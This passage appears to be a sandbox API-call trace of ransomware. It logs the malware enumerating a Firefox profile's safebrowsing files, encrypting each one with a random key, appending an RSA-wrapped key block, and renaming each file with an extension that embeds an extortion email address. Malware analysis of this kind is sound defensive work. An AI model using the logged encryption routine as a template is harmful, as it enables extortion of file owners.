hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8e52e62, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="test-unwanted-simple.sbstore", cAlternateFileName="TEST-U~1.SBS")) returned 1 [0241.289] SetLastError (dwErrCode=0x0) [0241.289] GetLastError () returned 0x0 [0241.289] SetLastError (dwErrCode=0x0) [0241.289] SetLastError (dwErrCode=0x0) [0241.289] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8ff6867, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="testexcept-flash-simple.pset", cAlternateFileName="TESTEX~1.PSE")) returned 1 [0241.289] SetLastError (dwErrCode=0x0) [0241.289] GetLastError () returned 0x0 [0241.289] SetLastError (dwErrCode=0x0) [0241.289] SetLastError (dwErrCode=0x0) [0241.289] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8faa34f, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="testexcept-flash-simple.sbstore", cAlternateFileName="TESTEX~1.SBS")) returned 1 [0241.289] SetLastError (dwErrCode=0x0) [0241.289] GetLastError () returned 0x0 [0241.289] SetLastError (dwErrCode=0x0) [0241.289] SetLastError (dwErrCode=0x0) [0241.289] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x90b53f6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="testexcept-flashallow-simple.pset", cAlternateFileName="TESTEX~2.PSE")) returned 1 [0241.290] SetLastError (dwErrCode=0x0) [0241.290] GetLastError () returned 0x0 [0241.290] SetLastError (dwErrCode=0x0) [0241.290] SetLastError (dwErrCode=0x0) [0241.290] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x9068e33, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="testexcept-flashallow-simple.sbstore", cAlternateFileName="TESTEX~2.SBS")) returned 1 [0241.290] SetLastError (dwErrCode=0x0) [0241.290] GetLastError () returned 0x0 [0241.290] SetLastError (dwErrCode=0x0) [0241.290] SetLastError (dwErrCode=0x0) [0241.290] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x9127a7a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="testexcept-flashsubdoc-simple.pset", cAlternateFileName="TESTEX~3.PSE")) returned 1 [0241.290] SetLastError (dwErrCode=0x0) [0241.290] GetLastError () returned 0x0 [0241.290] SetLastError (dwErrCode=0x0) [0241.290] SetLastError (dwErrCode=0x0) [0241.290] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x91018b0, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="testexcept-flashsubdoc-simple.sbstore", cAlternateFileName="TESTEX~3.SBS")) returned 1 [0241.290] SetLastError (dwErrCode=0x0) [0241.290] GetLastError () returned 0x0 [0241.290] SetLastError (dwErrCode=0x0) [0241.290] SetLastError (dwErrCode=0x0) [0241.290] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x91018b0, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="testexcept-flashsubdoc-simple.sbstore", cAlternateFileName="TESTEX~3.SBS")) returned 0 [0241.290] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0241.291] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flashsubdoc-simple.sbstore", dwFileAttributes=0x80) returned 1 [0241.291] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flashsubdoc-simple.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flashsubdoc-simple.sbstore"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0241.292] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=232) returned 1 [0241.292] ReadFile (in: hFile=0x1a54, lpBuffer=0x5a37b8, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a37b8*, lpNumberOfBytesRead=0x2e3f9b4*=0xe8, lpOverlapped=0x0) returned 1 [0241.293] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0241.293] WriteFile (in: hFile=0x1a54, lpBuffer=0x57ede0*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57ede0*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe8, lpOverlapped=0x0) returned 1 [0241.293] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe8 [0241.293] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.293] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.293] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0241.293] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0241.293] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0241.293] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="VWeaC7seTsi21/RkHQ5x0nn/tnCA1jz8drXcPRiL7qjeG3BbzYk/ZD9SsqKx3mOW\nkorMCf283TSfRa6ikxXvwIACHWbs6BU2iF9ckOE1Q9Q0Zov64VW3CMvA/4K3Qgdx\nSsqCJpg8iWASwM9K6lrR+6iV47pvXFVTDbFUI0Pq/b9Bt0tZ89h3cmTa2ZFdJSIz\nxSWnlAcm7PY6FC4FbT4TXpi3MNdkYGAWcwXLNv4XFrfYACL32Tyq/H1/1PPlDcJE\npz16mLvpu7JTHyGMCjSxmoZY2raaw0bFTVbG5p/KXblHmlodrhWFL/XKTeBPfYK2\nHjNKaK2AjgIhp4gpyDJAOQ==\n", pcchString=0x2e3f9a8) returned 1 [0241.293] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0241.294] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.294] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.294] CloseHandle (hObject=0x1a54) returned 1 [0241.294] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flashsubdoc-simple.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flashsubdoc-simple.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flashsubdoc-simple.sbstore.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flashsubdoc-simple.sbstore.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0241.296] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0241.296] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flashsubdoc-simple.pset", dwFileAttributes=0x80) returned 1 [0241.297] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flashsubdoc-simple.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flashsubdoc-simple.pset"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0241.297] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16) returned 1 [0241.297] ReadFile (in: hFile=0x1a54, lpBuffer=0x2e40570, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40570*, lpNumberOfBytesRead=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0241.298] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0241.298] WriteFile (in: hFile=0x1a54, lpBuffer=0x2e40390*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40390*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0241.298] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10 [0241.298] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.298] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.298] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0241.298] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0241.298] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0241.299] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="1PTdaUfdUnaV8jVB9eQTqwQ1eHCWSqHBSldtPFHftU83h5vqj1sSzO/IZpk7iPWr\nz3NHenZyX/aACTRLvmzNuigw466eGu6uSDFLRCokYW7mJT91GDbmLxPiCQBJGtwx\nk/L9jComkauIKQ5zaJv5N4PXdrhmndIpzn4t66HjJcTBnDo1g8S7UR/ESdj22Z9D\nmwELWPOASDuWdRjDRZ6hFzVc4cp/4BZ9VOh9Ef1hiTwoTPUZKIno2adyp87be/XL\n127PSalOA3zcG1g2wSCwbku5/HH5VD56oq5ey+/6oZu6rN0/ZQ9WCXaRuo6w8onz\njCtH3B6bSHAtme4h5XGSLg==\n", pcchString=0x2e3f9a8) returned 1 [0241.299] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0241.299] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.299] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.299] CloseHandle (hObject=0x1a54) returned 1 [0241.299] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flashsubdoc-simple.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flashsubdoc-simple.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flashsubdoc-simple.pset.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flashsubdoc-simple.pset.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0241.300] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0241.300] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flashallow-simple.sbstore", dwFileAttributes=0x80) returned 1 [0241.301] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flashallow-simple.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flashallow-simple.sbstore"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0241.301] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=232) returned 1 [0241.301] ReadFile (in: hFile=0x1a54, lpBuffer=0x5a37b8, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a37b8*, lpNumberOfBytesRead=0x2e3f9b4*=0xe8, lpOverlapped=0x0) returned 1 [0241.302] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0241.302] WriteFile (in: hFile=0x1a54, lpBuffer=0x57ede0*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57ede0*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe8, lpOverlapped=0x0) returned 1 [0241.302] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe8 [0241.302] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.302] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.302] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0241.303] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0241.303] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0241.303] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="uJ5hjmgA65j9uBOndL/af4frHCIB29EpsR5dFRmoV+qGpjYQMmrG3mQ6GUV4lWog\nKWOUqaIwzJdOwkqwhc6zA2k6UAXn7CcsJ/PAptZb5oeeKrBWtwdubv0IBYgc8AF8\n9cor/TqH+fbSYuhlM+KCEy3gS5q9KGDmwHoCLEWUvmnb2UfsiKBLedYBWnmUL4yz\nacy+JMnqXznGqZAUCXbM6/YuVLa/iWBoqbACTaAZi0XTp/qet4EERUY1xcKGiL9v\n8bh0ubk6bArEY7s75QgSVGBsd8uV/zdhH5TXUlQlQxzqj+oAPMJF/E+ncAf4skVq\nrcYb7IV5xadVTxzLzm/yGg==\n", pcchString=0x2e3f9a8) returned 1 [0241.303] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0241.303] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.303] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.304] CloseHandle (hObject=0x1a54) returned 1 [0241.304] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flashallow-simple.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flashallow-simple.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flashallow-simple.sbstore.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flashallow-simple.sbstore.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0241.305] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0241.305] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flashallow-simple.pset", dwFileAttributes=0x80) returned 1 [0241.305] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flashallow-simple.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flashallow-simple.pset"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0241.306] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16) returned 1 [0241.306] ReadFile (in: hFile=0x1a54, lpBuffer=0x2e40558, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40558*, lpNumberOfBytesRead=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0241.306] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0241.306] WriteFile (in: hFile=0x1a54, lpBuffer=0x2e404e0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e404e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0241.307] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10 [0241.307] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.307] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.307] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0241.307] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0241.307] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0241.307] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="IBhSdxwAy53QDX++JV3ltaKd+NOfypzBCQr6Ifqj3QzY8seo3cD4MGQwreyaMMqt\nWy82j7RC2aFPnQs+JtIIrCudnQQSq688G4y671p64zGTFbt62+egDDURc8f3ubsU\n6kcd85g0z2LXUu7wVstw17jPWiGzNti/cdJb5F3aX8eGab+ve1Uas4cA0q70NMBe\n0jNmnvIWW+kAq/eevoBbmJZmXtdPwbbn2Cqz1ihyOV4JnII6CxwVZwmkdX2eDv+U\nd5cVyBAYZ4ZBZRvM3VIii9zS1LGTs0iQCa52N3nRKCYAwSwT2/5XTkdU/uUduXwL\nvdbPT7DG2oCMeV8BWf+hBw==\n", pcchString=0x2e3f9a8) returned 1 [0241.307] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0241.307] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.307] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.307] CloseHandle (hObject=0x1a54) returned 1 [0241.308] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flashallow-simple.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flashallow-simple.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flashallow-simple.pset.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flashallow-simple.pset.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0241.309] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: 